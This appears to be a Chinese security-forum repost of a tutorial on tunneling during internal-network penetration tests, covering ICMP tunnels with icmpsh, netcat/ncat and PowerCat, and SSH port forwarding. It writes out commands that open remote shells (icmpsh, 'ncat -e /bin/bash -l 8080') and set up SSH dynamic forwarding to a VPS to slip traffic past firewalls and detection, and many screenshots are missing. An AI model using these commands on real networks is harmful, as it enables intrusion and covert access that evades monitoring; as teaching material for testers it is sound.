安全矩阵

 找回密码
 立即注册
搜索
查看: 10073|回复: 0

内网渗透中的隧道

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-1-29 22:14:19 | 显示全部楼层 |阅读模式
原文链接:内网渗透中的隧道

前言

    这几天在学习内网的相关知识,对内网的一些理解和之前不一样了,感觉内网的攻防更多的是流量的出入,也就是,所谓的内网安全的大基础是让内网的主机流量能够出入,不被发现,在内网中一般是会存在相关的检测设备的,普通的数据流量很容易就被检测出来。

在渗透测试中,进入内网后,要判断流量是否能够出的去、进的来。隐藏通信隧道的情况一般常用于在访问受限的的网络环境中追踪数据流向和在非受信任网络环境找那个实现安全的数据传输

一、什么是隧道?


        一般的网络通信流程是:在两台主机上建立 TCP 链接,然后进行正常的数据通信,在知道IP地址的情况下,可以直接发送报文,如果不知道 IP 地址的话,就需要将域名解析为IP地址。在实际的网络情况下,流量会经过很多的边界设备,在一般的企业内网中,可能会存在 IDP、IPS、防火墙等设备,如果异常的话,就会直接将通信阻断;这里我们说的隧道,就是绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方通信。当被封装的数据包达到了另外的地址的时候,解包还原,并将还原后的数据包发送到相应的服务器上。
常见的隧道包括三个大类:网络层、应用层、传输层
隧道
判断内网的连通性是指判断机器是否上外网等,要综合判断各种协议(TCP、HTTP、DNS、ICMP、等)及端口的通信情况,常见的流量出口端口有:80、8080、443、53、110、123等。常见的内网连通性判断如下:
  • ICMP协议 就是我们常说的 ping 命令,ping命令使用的就是 ICMP协议。语法为:ping <域名或IP>
  • TCP协议:
    netcat 简称(NC),被称为网络界的瑞士军刀,小巧但是功能强大,通过使用 TCP或者 UDP进行网络连接进行通信,他是一个CS结构的服务,需要在服务器监听,然后客户端连接,基本使用如下:
    服务端:


  • 将自己的CMD放在80端口,并且等待连接,-lvp分别表示,监听、输出版本信息、持久化。客户端连接成功后,就可以执行CMD的命令。
    然后在客户端连接,可以执行命令:
  • HTTP协议
    curl 是一个可以利用URl规则在命令行下工作的综合文件传输工具,支持文件的上传和下载,curl命令不仅支持HTTP、HTTPS、FTP等多种协议,还支持POST、Cookie、认证、从指定的位置下载文件。在Liunx环境下是有 curl的环境的,windows下powershell自带 curl,否则需要下载,这里我在liunx中测试:

    在powershell中测试:
  • DNS协议
    在进行DNS连通性测试的时候,常用的命令为nslookup和dig
    nslookup是windows自带的DNS探测命令,在没有指定 IP 的时候,会从系统网络中的 TCP/IP的协议中读取DNS地址。
  • ​网络层隧道技术
    在网络层,两个常用的隧道协议是IPv6和ICMP


二、ICMP隧道


        ICMP隧道简单实用,不需要开放端口就可以进行通信。常见命令是ping命令,在一般情况下,每一个ping命令都会回复消息
在一些网络环境中,在使用一些上层隧道都失效以后(例如HTTP隧道之类的),常常会使用ping命令访问远程的计算机,使用ICMP可以使用将包封装在ICMP中,从而穿过防火墙达到目标,而不受网络限制,需要客户端和服务端都能够使用ICMP协议
常用的ICMP隧道工具有:icmpsh、Pingtunnel、powershell icmp
icmpsh
echo 0 >/proc/sys/net/ipv4/icmp_echo_ignore_all # 临时允许ICMP
icmpsh工具使用简单,便携的跨平台工具,并且使用的时候不需要管理员权限,使用的环境是在windows上,使用ICMP还能够进行流量的隐藏
项目地址:https://github.com/inquisb/icmpsh
受控端直接下载(这里是在本地环境,真实环境上传ipcmpsh.exe就好):



服务端下载:



然后关闭服务端的 ICMP 应答:sysctl -w net.ipv4.icmp_echo_ignore_all=1

未关闭应答的话结果如下:

配置环境:
  1. yum -y install epel-release
  2. yum -y install python-pip
  3. pip install --upgrade pip -i https://pypi.tuna.tsinghua.edu.cn/simple
  4. pip install Impacket -i https://pypi.tuna.tsinghua.edu.cn/simple
复制代码



服务端启动:python icmpsh_m.py <vpsIP> <受控端IP>

客户端连接:



当我们运行以后,就可以得到一个shell:



在官方文档中使用的是 .sh命令,实际使用的时候会报错:




传输层隧道技术传输层数据隧道包括TCP隧道、UDP隧道、和常规的端口转发。在内网渗透中,如果防火墙对某些端口进行了限制的话,在获得目标权限以后可以打开需要的端口,要是内网中存在大量的防护设备的话,TCP、UDP流量会大量拦截。
Netcat使用
被称为网络安全的瑞士军刀,可以用作端口监听、端口扫描、远程文件传输、还可以实现远程shell等功能
目前我使用的是 Nmap 自带的ncat,相比于原来的nc,更加方便和简单,直接安装nmap就自带了nc
官网链接:https://nmap.org/download.html
我在本机安装了nmap以后,就可以直接输入ncat-v查看信息:

​基本使用:

Ncat是一个c/s工具,需要服务端和客户端一起使用,首先我们在服务器上监听端口:
nact -lvvp 85 表示监听85端口
-l:表示监听
-v:显示版本信息等
-p:监听的端口

客户端连接我们的服务:
ncat -v <ip>

服务端收到消息:

接着我们就可以进行交互了,想要执行命令的话,还需要使用 -e 参数,将自己的shell推出去,如下:

执行命令:



发送文件
  1. # 从 HOST1(Client) 发送文件到 HOST2(Server) 的 TCP 9899 端口
  2.     # HOST2:
  3.     $ ncat -l 9899 > outputfile

  4.     #HOST1:
  5.     $ ncat HOST2 9899 < inputfile
复制代码



服务端监听:ncat -lv 85 > 接收.txt


客户端创建文本,然后发送:ncat -v 127.0.0.1 85 < 发送.txt

在服务端就可以看到这个新出的文本:



端口转发

  1. # 重定向本机 9999 TCP 端口到 httpbin.org 的 80 端口
  2.     $ ncat --sh-exec "ncat 127.0.0.1 80" -l 9999 --keep-open

  3.     传递Shell

  4.     # 在本机的 8080 端口分享 Bash Shell,让对方可以通过网络访问此端口来自由访问 Bash Shell
  5.     $ ncat -e "/bin/bash" -l 8080 --keep-open
复制代码

​客户端执行命令:


创建隧道:
  1. # 将本地的 8080 端口作为隧道端口
  2.     ncat -l --proxy-type http 127.0.0.1 8080 --proxy-auth username:password

  3.     # --porxy-type 指定隧道类型
  4.     # --porxy-auth 指定隧道连接密码用户
  5.     # 虽然在Nact中写了能够使用 socks4和socks5,但是实践中只能使用HTTP
复制代码


验证:



PowerCat
Powercat 可以看做是NC的powershell版本,功能和NC没什么大致的区别
安装:
git clone https://github.com/besimorhino/powercat
具体操作:https://www.cnblogs.com/ly584521/p/12360704.html应用层传输隧道
在内网中建立稳定的隧道是我们做好内网的关键一步,在内网中,用应用层的隧道技术就是使用各种不同的应用服务提供的端口进行数据的转发。常用的隧道协议有:DNS、SSH、HTTP/HTTPS。


三、SSH隧道


        在内网中,几乎所有的内网LIUNX/UNIX主机都是支持SSH协议的,一般情况下防火墙是不会拦截SSH的流量的,同时在传输的时候,SSH的流量是加密的,所以很难区分是否是正常的传输还是恶意的流量。当我们使用SSH建立了隧道以后,我们可以建立之前我们不能建立的TCP隧道之类的。
在什么地方我们使用得到SSH隧道呢,工作中由于防火墙导致访问某些网站或某些FTP等资源连接超时。
基本的SSH 命令就是我们登陆的命令:
ssh root@ip
创建SSH隧道常用的命令如下:

  1. -C 压缩传输,增加传输的效率,
  2. -f 将SSH传输放在后台执行,不占用当前的SHELL
  3. -N 建立静默连接,就是建立了连接,但是看不到具体的会话;还有一种说法是不允许执行命令
  4. -g 允许远程主机连接本地用于转发端口
  5. -L 本地端口转发
  6. -R 远程端口转发
  7. -D 动态转发
  8. -P 指定SSH的端口
复制代码

后续我们都会使用上面的参数进行配置

端口转发这种转发方式是将本地的某个端口转发到另一个端口,例如我现在的服务上有一个web服务在80端口,那么我可以使用ssh将本地的80端口转发到8080端口,然后进行访问8080,就可以直接访问80端口,现在我在网站上打开80端口的服务:然后我在服务端启动一下SSH的本地转发:` ssh -L 8080:127.0.0.1:80 -fN 127.0.0.1 `
# -L 8080是指转发到的端口;127.0.0.1:80是转发的端口,他们之间用分号隔开    # -fN f是指在后台运行;N是指建立静默连接    # 最后的IP是跳板机的IP    # 这里的含义就是,访问本地的8080端口,就会将请求转发给本地的80端口 G0_WnQQb!Mln

没做转发之前,我们访问8080端口会显示失败,但是做了转发以后就可以访问到了。
我们再来把远端的 22端口转发到本地的8080端口试试:
ssh -L 80:<VPS>:22 -fN <vps>

使用SSH连接本地的8080端口,看看结果:

连上后请求一下外网IP确实是我们设定好的主机IP,所以算是成功了
SSH隧道可以作为CS和MSF的联动动态转发使用动态转发就可以直接使用socks4/5的隧道:ssh -CfNg -D 8080:VPS

















回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 19:44 , Processed in 0.014320 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表